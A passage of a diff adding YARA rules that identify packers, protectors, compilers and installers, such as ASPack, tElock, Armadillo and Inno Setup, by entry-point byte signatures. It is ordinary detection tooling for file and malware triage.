+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 97 33 C9 41 FF D3 13 C9 FF D3 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 5B 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 58 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 89 06 AD 85 C0 75 D9 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 88 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _WATCOM_CCpp__Open_Watcom_
+{
+	meta:
+		description = "WATCOM C/C++ -> Open Watcom"
+	strings:
+		$0 = {E9 ?? ?? ?? 00 ?? ?? ?? 00 57 41}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PiMP_Stub__SFX_
+{
+	meta:
+		description = "Nullsoft PiMP Stub -> SFX"
+	strings:
+		$0 = {81 EC ?? ?? ?? ?? 53 55 56}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v2xx__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.xx -> Alexey Solodovnikov"
+	strings:
+		$0 = {A8 03 ?? ?? 61 75 08 B8 01 ?? ?? ?? C2 0C ?? 68 ?? ?? ?? ?? C3 8B 85 26 04 ?? ?? 8D 8D 3B 04 ?? ?? 51 50 FF 95}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_CrunchPE_Heuristic_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Crunch/PE Heuristic"
+	strings:
+		$0 = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v60_
+{
+	meta:
+		description = "Microsoft Visual C++ v6.0"
+	strings:
+		$0 = {00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? 00 ?? 00}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57}
+		$2 = {55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 8B F0 8A ?? 3C 22}
+		$3 = {00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 0D ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 1C ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00}
+		$4 = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC ?? 53 56 57 89 65 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF}
+		$5 = {00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? 00 ?? 00}
+		$6 = {00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 0D ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6
+}
+rule _Nakedbind_10__nakedcrew_
+{
+	meta:
+		description = "Nakedbind 1.0 -> nakedcrew"
+	strings:
+		$0 = {64 8B 05 ?? ?? ?? ?? 55 8B EC 6A FF 68 ?? ?? 40 ?? 68 ?? ?? 40 ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 08 50 53 56 57 89 65 E8 C7 45 FC}
+		$1 = {64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B 4D 5A 74 08 81 EB 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Code_Virtualizer_1310__Oreans_Technologies_
+{
+	meta:
+		description = "Code Virtualizer 1.3.1.0 -> Oreans Technologies"
+	strings:
+		$0 = {60 9C FC E8 00 00 00 00 5F 81 EF ?? ?? ?? ?? 8B C7 81 C7 ?? ?? ?? ?? 3B 47 2C 75 02 EB 2E 89 47 2C B9 A7 00 00 00 EB 05 01 44 8F ?? 49 0B C9 75 F7 83 7F 40 00 74 15 8B 77 40 03 F0 EB 09 8B 1E 03 D8 01 03 83 C6 04 83 3E 00 75 F2 8B 74 24 24 8B DE 03 F0 B9 01 00 00 00 33 C0 F0 0F B1 4F 30 75 F7 AC}
+		$1 = {60 9C FC E8 00 00 00 00 5F 81 EF ?? ?? ?? ?? 8B C7 81 C7 ?? ?? ?? ?? 3B 47 2C 75 02 EB 2E 89 47 2C B9 A7 00 00 00 EB 05 01 44 8F ?? 49 0B C9 75 F7 83 7F 40 00 74 15 8B 77 40 03 F0 EB 09 8B 1E 03 D8 01 03 83 C6 04 83 3E 00 75 F2 8B 74 24 24 8B DE 03 F0 B9 01 00 00 00 33 C0 F0 0F B1 4F 30 75 F7 AC}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _ASDPack_20__asd_
+{
+	meta:
+		description = "ASDPack 2.0 -> asd"
+	strings:
+		$0 = {5B 43 83 7B 74 00 0F 84 08 00 00 00 89 43 14 E9}
+		$1 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8D 49 00 1F 01 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 90}
+		$2 = {8B 44 24 04 56 57 53 E8 CD 01 00 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00}
+		$3 = {5B 43 83 7B 74}
+		$4 = {5B 43 83 7B 74 00 0F 84 08 00 00 00 89 43 14 E9}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint or $3 at entrypoint or $4
+}
+rule _BeRoEXEPacker_v100_LZBRR__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 [LZBRR] -> BeRo / Farbrausch"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Trilobytes_JPEG_graphics_Library_
+{
+	meta:
+		description = "Trilobyte's JPEG graphics Library"
+	strings:
+		$0 = {84 10 FF FF FF FF 1E 00 01 10 08 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ATT_Group_4_Graphics_format_
+{
+	meta:
+		description = "AT&T Group 4 Graphics format"
+	strings:
+		$0 = {01 00 ?? 00 3A 03}
+	condition:
+		$0 at entrypoint
+}
+rule _iPBProtect_013_
+{
+	meta:
+		description = "iPBProtect 0.1.3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78}
+	condition:
+		$0 at entrypoint
+}
+rule _USCC_13_
+{
+	meta:
+		description = "USCC 1.3"
+	strings:
+		$0 = {BB 00 00 B9 AF 00 30 0F 43 E2 FB 55 FE FE FD F9 FC FE FD F4 F6 FD E8 EF F9 4A A1 76 A5 5E C7 EE AC 05 C0 B2 69 6B C4 0E A1 6E 1E 50 E8 06 91 ED 4D 8C 96 87 C6 85 EE C3 9D 39 A4 7F DD 67 7C D8 66 79 9C 13 7A 35 92 17 14 B6 76 71 6E 30 EF AE}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v092a_
+{
+	meta:
+		description = "tElock v0.92a"
+	strings:
+		$0 = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00}
+		$1 = {E9 7E E9 FF FF 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DxPack_V086__Dxd_
+{
+	meta:
+		description = "DxPack V0.86 -> Dxd"
+	strings:
+		$0 = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 71 44 ?? ?? 2B 85 64 60 ?? ?? EB 43 DF}
+		$1 = {60 E8 00 00 00 00 5D 8B FD 81 ED 06 10 40 00 2B BD 94 12 40 00 81 EF 06 00 00 00 83 BD 14 13 40 00 01 0F 84 2F 01 00 00}
+		$2 = {60 E8 00 00 00 00 5D 8B FD 81 ED 06 10 40 00 2B BD 94 12 40 00 81 EF 06 00 00 00 83 BD 14 13 40 00 01 0F 84 2F 01 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _VProtector_11A12__vcasm_
+{
+	meta:
+		description = "VProtector 1.1A-1.2 -> vcasm"
+	strings:
+		$0 = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F 32 30 30 35 5F 33 5F 31 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3}
+		$1 = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F 32 30 30 35 5F 33 5F 31 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _InstallShield_3x_Custom_
+{
+	meta:
+		description = "InstallShield 3.x Custom"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 00 A0 40 00 68 34 76 40 00 50 64 89 25 00 00 00 00 83 EC 60 53 56 57 89 65 E8 FF 15 8C E3 40 00 A3 70 B1 40 00 33 C0 A0 71 B1 40 00 A3 7C B1 40 00 A1 70 B1}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_099_
+{
+	meta:
+		description = "tElock 0.99"
+	strings:
+		$0 = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00}
+		$1 = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? 02 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v251_
+{
+	meta:
+		description = "Armadillo v2.51"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20}
+		$1 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_v029_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.29 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 29}
+		$1 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 29}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ACProtectUltraProtect_V10XV20X__RiSco_
+{
+	meta:
+		description = "ACProtect/UltraProtect V1.0X-V2.0X -> RiSco"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00}
+	condition:
+		$0
+}
+rule _Microsoft_R_Incremental_Linker_Version_5128078_MASMTASM_
+{
+	meta:
+		description = "Microsoft (R) Incremental Linker Version 5.12.8078 (MASM/TASM)"
+	strings:
+		$0 = {6A 00 68 00 30 40 00 68 1E 30 40 00 6A 00 E8 0D 00 00 00 6A 00 E8 00 00 00 00 FF 25 00 20 40 00 FF 25 08 20 40}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_V112752006Beta__NEOx___200800212_
+{
+	meta:
+		description = "nPack V1.1.275.2006.Beta -> NEOx  * 200800212"
+	strings:
+		$0 = {55 8B EC 51 51 56 57 BE ?? ?? ?? ?? 8D 7D F8 66 A5 A4 BE ?? ?? ?? ?? 8D 7D FC 8D 45 FC 66 A5 50 8D 45 F8 50 A4 FF 15 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 5F 5E 75 05 E8 02 00 00 00 C9 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3}
+	condition:
+		$0 at entrypoint
+}
+rule _BJFNT_12_
+{
+	meta:
+		description = "BJFNT 1.2"
+	strings:
+		$0 = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 02 CD 20 60 EB 03 3A 4D 3A E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 17 EB 02 CD 20 EB 03 CD 20 EB EB 01 EB FC EB 01 EB EB 02 CD 20 E8 00 00 00 00 EB 03 CD 20 17 5E EB 02 C7}
+	condition:
+		$0 at entrypoint
+}
+rule _AinEXE_21_
+{
+	meta:
+		description = "AinEXE 2.1"
+	strings:
+		$0 = {A1 02 00 2D E1 0B 8E D0 BC 00 BE 8C D8 36 A3 00 BE 05 10 00 36 A3 02 BE 2E A1 0E 00 8A D4 B1 04 D2 EA FE C9 D3 E0 8C D3 36 8B 2E 02 BE 2E 03 2E 0E 00 FD 81 ED 00 10 80 EF 10 8E DD 8E C3 BE FE FF 8B FE FE CA 78 07 B9 00 80 F3 A5 EB E5 8B C8}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v304betav306v307_
+{
+	meta:
+		description = "Inno Setup Module v3.0.4-beta/v3.0.6/v3.0.7"
+	strings:
+		$0 = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 B3 70 FF FF E8 1A 85 FF FF E8 25 A7 FF FF E8 6C}
+	condition:
+		$0
+}
+rule _ARM_Protector_01__by_SMoKE_
+{
+	meta:
+		description = "ARM Protector 0.1 - by SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4}
+		$1 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Crunch_4__BitArts_
+{
+	meta:
+		description = "Crunch 4 -> Bit-Arts"
+	strings:
+		$0 = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _muckis_protector_II__mucki_
+{
+	meta:
+		description = "mucki's protector II -> mucki"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 00 00 00 31 C0 89 41 14 89 41 18 80 6A 00 E8 85 C0 74 12 64 8B 3D 18 00 00 00 8B 7F 30 0F B6 47 02 85 C0 74 01 C3 C7 04 24 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 C3}
+		$1 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 00 00 00 31 C0 89 41 14 89 41 18 80 6A 00 E8 85 C0 74 12 64 8B 3D 18 00 00 00 8B 7F 30 0F B6 47 02 85 C0 74 01 C3 C7 04 24 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 C3}
+		$2 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 00 00 00 31 C0 89 41 14 89 41 18 80 6A 00 E8 85 C0 74 12 64 8B 3D 18 00 00 00 8B 7F 30 0F B6 47 02 85 C0 74 01 C3 C7 04 24 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ASPack_v107b_
+{
+	meta:
+		description = "ASPack v1.07b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 60 E8 2B 03 00 00}
+		$1 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5}
+		$2 = {90 90 90 75 ?? E9}
+		$3 = {90 90 75 ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _FreePascal_200_Win32__Bczi_Gor_Pierre_Muller__Peter_Vreman_
+{
+	meta:
+		description = "FreePascal 2.0.0 Win32 -> (B?czi G?or, Pierre Muller & Peter Vreman)"
+	strings:
+		$0 = {C6 05 00 80 40 00 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00 00 E8 C5 01 00 00 89 D8 E8 3E 02 00 00 E8 B9 01 00 00 E8 54 02 00 00 8B 5D FC C9 C3 8D 76 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 E5 C6 05 10 80 40 00 00 E8 D1 03 00 00 6A 00 64 FF 35 00 00 00 00 89 E0 A3 ?? 70 40 00 55 31 ED 89 E0 A3 20 80 40 00 66 8C D5 89 2D 30 80 40 00 E8 B9 03 00 00 31 ED E8 72 FF FF FF 5D E8 BC 03 00 00 C9 C3 00 00 00 00 00 00 00 00 00 00 55 89 E5 83 EC 08 E8 15 04 00 00 A1 ?? 70 40 00 89 45 F8 B8 01 00 00 00 89 45 FC 3B 45 F8 7F 2A FF 4D FC 90 FF 45 FC 8B 45 FC 83 3C C5 ?? 70 40 00 00 74 09 8B 04 C5 ?? 70 40}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEHigh_101_
+{
+	meta:
+		description = "EXEHigh 1.01"
+	strings:
+		$0 = {8C CA 8B 2E 01 00 8E DA 8C 06 90 06 8C DA 2B EA 8B 3E 94 06 81 FF 00 01 73 07 BF 00 01 89 3E 94 06 81 C7 DE 16 03 3E 92 06 B1 04 D3 EF 47 D3 E7 FA 8E D2 8B E7 FB E8 00 00 56 57 55 8B EC B4 4A 8E 06 90 06 BB FF FF CD 21 B4 4A 8E 06 90 06 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_OS2__FORTRAN_Compiler_1989_
+{
+	meta:
+		description = "MS Run-Time Library (OS/2) & FORTRAN Compiler 1989"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 2E A3 ?? ?? 3D ?? ?? 73}
+	condition:
+		$0 at entrypoint
+}
+rule _KBys_Packer_028_Beta__Shoooo_
+{
+	meta:
+		description = "KBys Packer 0.28 Beta -> Shoooo"
+	strings:
+		$0 = {60 E8 00 00 00 00 5E 83 EE 0A 8B 06 03 C2 8B 08 89 4E F3 83 EE 0F 56 52 8B F0 AD AD 03 C2 8B D8 6A 04 BF 00 10 00 00 57 57 6A 00 FF 53 08 5A 59 BD 00 80 00 00 55 6A 00 50 51 52 50 89 06 AD AD 03 C2 50 AD 03 C2 FF D0 6A 04 57 AD 50 6A 00 FF 53}
+		$1 = {60 E8 00 00 00 00 5E 83 EE 0A 8B 06 03 C2 8B 08 89 4E F3 83 EE 0F 56 52 8B F0 AD AD 03 C2 8B D8 6A 04 BF 00 10 00 00 57 57 6A 00 FF 53 08 5A 59 BD 00 80 00 00 55 6A 00 50 51 52 50 89 06 AD AD 03 C2 50 AD 03 C2 FF D0 6A 04 57 AD 50 6A 00 FF 53}
+	condition:
+		$0 at entrypoint or $1
+}
